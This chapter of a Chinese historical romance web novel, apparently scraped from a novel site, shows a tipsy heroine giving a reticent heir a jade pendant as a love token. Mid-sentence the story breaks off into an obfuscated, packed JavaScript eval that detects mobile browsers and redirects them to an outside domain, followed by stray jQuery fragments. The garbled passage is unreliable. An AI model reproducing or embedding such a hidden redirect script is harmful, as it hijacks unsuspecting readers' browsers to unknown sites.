默认冷灰
24号文字
方正启体

14. 定情

作者:芝麻汤圆咪本书字数:K更新时间:
    夜幕像块浸了墨的锦缎,沉沉压下来。水澜榭里静得只剩下虫鸣,韦柔则支走了春桃,独自坐在灯下,指尖一遍遍抚过枕下的玉佩。


    芍药吃过药已睡熟,呼吸间还带着疼出来的轻颤。韦柔则替她掖了掖被角,转身走到窗边。院墙外的梆子敲过两下,余音在夜色里荡开,又被浓黑吞没,离三更还有足足一个时辰。


    窗外树影摇摇晃晃,恍惚间竟叠上了平州那夜的月色。韦柔则望着天边那弯细月,思绪像被风牵着,慢悠悠飘回了那个晚上。


    “娘子,听侍卫说,世子今晚就能赶回来呢。”芍药一边替韦柔则梳着发,一边忍不住笑,眼角眉梢都浸着喜气,手里的桃木梳在发间轻轻滑过,“您瞧这发髻,衬得您肤色越发莹白,世子见了定是欢喜的。”


    韦柔则望着铜镜里的自己,鬓边簪着支珍珠钗,烛光下泛着温润的光。可她对着镜中的影,却轻轻叹了口气,指尖无意识地绞着袖口:“芍药……你说,这个玉佩,他会收下吗?”


    铜镜旁,一方锦盒敞着,里面躺着枚通体莹润的白玉佩,雕着宝相花纹样,玉质细腻得像凝了脂,是她寻遍了平州的玉器铺才挑到的好料子,又描了样子请了最好的匠人细细打磨。


    芍药手上的梳子顿了顿,转头看她时眼里满是不解:“姑娘这是说的哪里话?世子这几月对您的心意……奴婢也是看在眼里,虽说世子不爱言辞,但那份护持,哪是寻常人能做到的?”


    她放下梳子,取过妆奁里的螺子黛,蘸了点清水细细替韦柔则描眉,“就说前儿您随口提了句想吃城南的点心,转天一早,世子的人就捧着食盒候在院外了,那点心还是热乎的呢。”


    韦柔则望着镜中渐渐清晰的眉形,睫毛轻轻颤了颤。她想起初到平州那夜,他刚料理完山匪,她那时吓瘫在地上,眼睁睁看着最后一个山匪倒在血泊里,浓重的腥气裹着尘埃扑过来,让她没办法站起来,是顾驰一把将她抱了起来,她下意识攥紧他的衣襟,锦缎料子顺滑,却抵不过他胸膛传来的温度,一点点爬上她冰凉的指尖。


    “姑娘?”芍药的声音将她从回忆里拉回来,“您怎么了?脸这么红。”


    韦柔则猛地回神,抬手摸了摸脸颊,果然烫得惊人。镜中人的眉眼间还带着未褪的恍惚,那夜被他抱着的触感,竟清晰得仿佛就发生在昨日。


    “可他总那样……淡淡的。”韦柔则小声说,指尖无意识地蹭过铜镜边缘,“那日我谢他派影卫护送,他只说顺手,我递谢礼,他又说不必,芍药,或许只是我多想了呢?”


    芍药正替她簪上那支珍珠钗,闻言噗嗤笑了:“姑娘何时这么多愁善感了?他若是不放在心上,何苦千里迢迢从京里赶过来?”


    话音刚落,院外忽然传来轻缓的脚步声,踏在青石板上,不疾不徐,却像踩在人心尖上。


    是顾驰到了。


    韦柔则的心猛地提到了嗓子眼,镜中人的脸颊绯红,连耳尖都泛着热。


    她慌忙抬手拢了拢鬓发,却听见芍药已扬声应道,“这就来!”


    门吱呀一声被拉开,晚风卷着涌了进来,混着男人身上沉冽的檀香气息。


    韦柔则坐在镜前没回头,却能透过镜面看到那道熟悉的身影。


    白锦袍,墨发高束,身姿挺拔如松,正是顾驰。


    他刚进门便看向镜中的她,目光在她鬓边的珍珠钗上停了停,唇边漾开一抹极淡的笑意,声音却低沉带着一丝哑意:“等久了?”


    韦柔则起身时带倒了凳脚,发出轻响,她慌忙扶好,指尖攥着袖口,抬眼瞧他,见他眉宇间带着赶路的倦色,轻声问道,“厨房温着些酒菜,世子若是不嫌弃,不如……一起用些?”


    顾驰眸色深了深,应得干脆:“好。”


    八仙桌摆在窗边,微风拂过韦柔则鬓边的碎发,顾驰忍不住用手将几缕碎发别到耳后。


    韦柔则只觉得脸上烫的发热。


    芍药提着餐盒进来,将几个热菜和一壶烫好的梅子酒摆好,酒液晃在青瓷杯里,泛着琥珀色的光。


    “路上辛苦了。”她举杯,声音轻得像羽毛,“我敬世子一杯。”


    顾驰与她碰了碰杯,酒液入喉带着微涩的甜。他话不多,多数时候是韦柔则在说,说芍药如何贪嘴吃坏了肚子,说院里的秋菊开得比别处早,偶尔抬眼,总能撞见他落在自己脸上的目光,沉静得像深潭,看得她心头发慌,只能一杯接一杯地喝酒。


    梅子酒后劲慢,却缠人。几杯下肚,韦柔则眼前的烛火开始晃,胆子也跟着大了起来。她望着顾驰执杯的手,骨节分明,想起平州客栈里他握着剑柄的模样,忽然开口:“世子,那日在平州……为何要救我?”


    顾驰抬眸,眸底映着烛火:“路见不平。”


    “可那些山匪凶悍,世子犯不着为了两个陌生人冒险。”她又斟了杯酒,酒液洒在桌上,晕开一小片湿痕,“还有影卫……世子派他们护着我们,总该有个缘由吧?”


    他沉默片刻,夹了块水晶虾饺放在她碟中,并未说话,“我见过娘子,照拂一二是应当的。”赶往平州处置盐案途中,在驿站他曾见过韦柔则,身娇体弱的娘子竟因心疼婢女路上感染了风寒,求着驿长找大夫过来医治。


    “应当的?”韦柔则笑了笑,眼尾因酒意染上绯红,“那世子千里迢迢从京城赶来,也是应当的?”


    酒气往上涌,她索性往前凑了凑,鼻尖几乎要碰到他衣襟:“顾驰,你老实告诉我,你是不是……”话到嘴边又卡住,她咬着下唇,终究是问了出来,“你是不是对我……”


    话音未落,顾驰忽然抬手,指腹轻轻擦过她唇角。


    那里沾了点酒渍。他的指尖微凉,触感却像烙铁,烫得韦柔则猛地往后缩。


    “韦娘子喝多了。”他收回手,语气听不出波澜,眼底却像蒙了层雾,看不真切,“夜深了,我该走了。”


    韦柔则却不让他走,攥住他衣袖的力道带着几分酒意的执拗:“我没喝多!你还没回答我……”


    她仰头望他,烛光在她眼里跳跃,像藏着星星。顾驰看着她泛红的眼眶,喉结轻轻滚动了下,忽然低笑出声,那笑声里带着点她从未听过的沙哑:“想听什么?”


    “想听你说……”韦柔则的声音软下来,带着点不易察觉的委屈,“你对我,到底是存着什么心思?”


    夜风从窗缝里钻进来,卷着阶下的凉意,噗地吹得烛火矮了半截。


    顾驰的脸大半隐在陡然浓重的阴影里,只剩下颌线绷出冷硬的弧度,半晌才开口,声音轻得像被风揉碎的叹息:“若我说,是想把你锁起来,让你这辈子都只能看着我呢?”


    韦柔则的酒意正上头,耳朵里像塞了团棉絮。她晃了晃脑袋,指尖摸索着锦盒,把那枚玉佩捏在手里。玉的温凉透过掌心漫上来,倒让她生出点莫名的笃定。


    “你说什么?”她微眯着眼,睫毛上沾着点水汽,像沾了露的蝶翼,“我听不懂……”


    她摇摇晃晃地起身,膝盖撞到凳腿也浑然不觉,只执着地朝顾驰走过去。他坐着没动,抬眸望她的眼神沉得像深潭,倒映着她踉跄的影子。


    韦柔则把玉佩往他面前递,手腕晃得厉害,“这是我给你的。你若……你若心里有我半分,就乖乖让我给你带上。”


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375781|184045||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的声音软乎乎的,带着酒气的憨直,尾音还微微上翘,像在撒娇。


    顾驰盯着她递过来的玉佩,莹白的玉面上,宝相花的纹路被烛光描得愈发清晰。他没接,只缓缓抬眼,目光掠过她泛红的眼角,落在她微张的唇上,喉结轻轻滚了滚。


    “带上了,就取不下来了。”他忽然说,声音比刚才沉了些,带着点不易察觉的沙哑。


    韦柔则听不懂这弦外之音,只当他是犹豫,便往前凑得更近。


    酒气混着她发间的桂花油香扑过来,顾驰的呼吸几不可察地一顿。她踮起脚,另一只手笨拙地去解他腰间的玉带,指尖胡乱划着,却总也碰不准搭扣。


    “你别动呀……”她嘟哝着,鼻尖几乎要蹭到他颈间,“我给你戴上,就知道了……”


    话音未落,手腕忽然被攥住。顾驰的指腹带着薄茧,力道不算重,却箍得她动弹不得。


    韦柔则一愣,低头看他交握的手,又抬头望他的脸。


    阴影里,他的眼神亮得惊人,像藏了星火,又像裹着寒冰,看得她心头莫名一跳。


    “韦柔则。”他连名带姓地唤她,声音压得很低,“你知道自己在做什么吗?”


    酒意忽然就散了大半。


    韦柔则看着他近在咫尺的眉眼,看着他眼底自己慌乱的影子,脸颊烧了起来,手心里的玉佩差点没攥住。


    她想收回手,想后退,却被他攥得更紧。顾驰缓缓站起身,两人的距离瞬间被拉得极近,他的气息笼罩下来,带着沉冽的檀香气息,混着淡淡的酒气,让她头晕目眩。


    “想给我戴玉佩?”他低头看着她,嘴角勾起一抹极淡的笑,那笑意却没到眼底,“还是……想给我一个理由,让我把你留在身边?”


    他的指尖轻轻摩挲着她的手腕,动作带着点漫不经心的暧昧,眼神却像淬了冰的刀,一寸寸刮过她的脸,看得她浑身发僵。


    韦柔则的指尖还在发颤,被他攥着的手腕烫得像要烧起来。她望着他眼底那片深不见底的暗,忽然生出股破釜沉舟的勇气,猛地抽回手,踮脚将玉佩往他颈间送。


    玉扣穿过他领口时勾住了发带,几缕墨发垂落,扫过她手背,痒得人心尖发颤。顾驰始终没动,只垂眸看着她,目光沉沉的。


    直到冰凉的玉佩贴上他温热的肌肤,韦柔则才慌忙将红绳系好,指尖无意间擦过他喉结,被那处微不可查的滚动烫得缩回手。


    “好了。”她往后退了半步,低着头不敢看他,声音细若蚊蚋。


    “韦娘子倒是……坦荡。”他缓步逼近,每走一步,她就退一步,直到后背抵上冰凉的窗棂,退无可退。


    月光从他肩头漏进来,在他脸上投下明明暗暗的光影。他抬手,指腹轻轻蹭过她发烫的耳垂,动作温柔得不像话,眼神却带着几分审视的锐利:“知道这玉佩意味着什么?”


    韦柔则被他困在臂弯与窗棂之间,呼吸都带着梅子酒的甜。她仰头望他,酒意又悄悄漫上来,胆子也跟着大了:“自然是……定情的意思。”


    话一出口,连她自己都惊了。可对上顾驰骤然变深的眼眸,她却没再退缩,反而豁出去似的追问:“顾驰,你告诉我,你对我……到底有没有半分真心?”


    他沉默着,指尖仍停在她耳垂上,力道却渐渐加重。韦柔则疼得蹙眉,眼眶泛起红意,正要开口,却听他哑着嗓子道:“真心?”


    他忽然低头,鼻尖几乎蹭到她额头,气息滚烫:“柔儿,我的真心,可不是你能承受的。”


    韦柔则打了个轻颤,猛地回过神来。窗外的梆子咚地敲了一声,沉闷的余音在夜色里荡开,三更了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)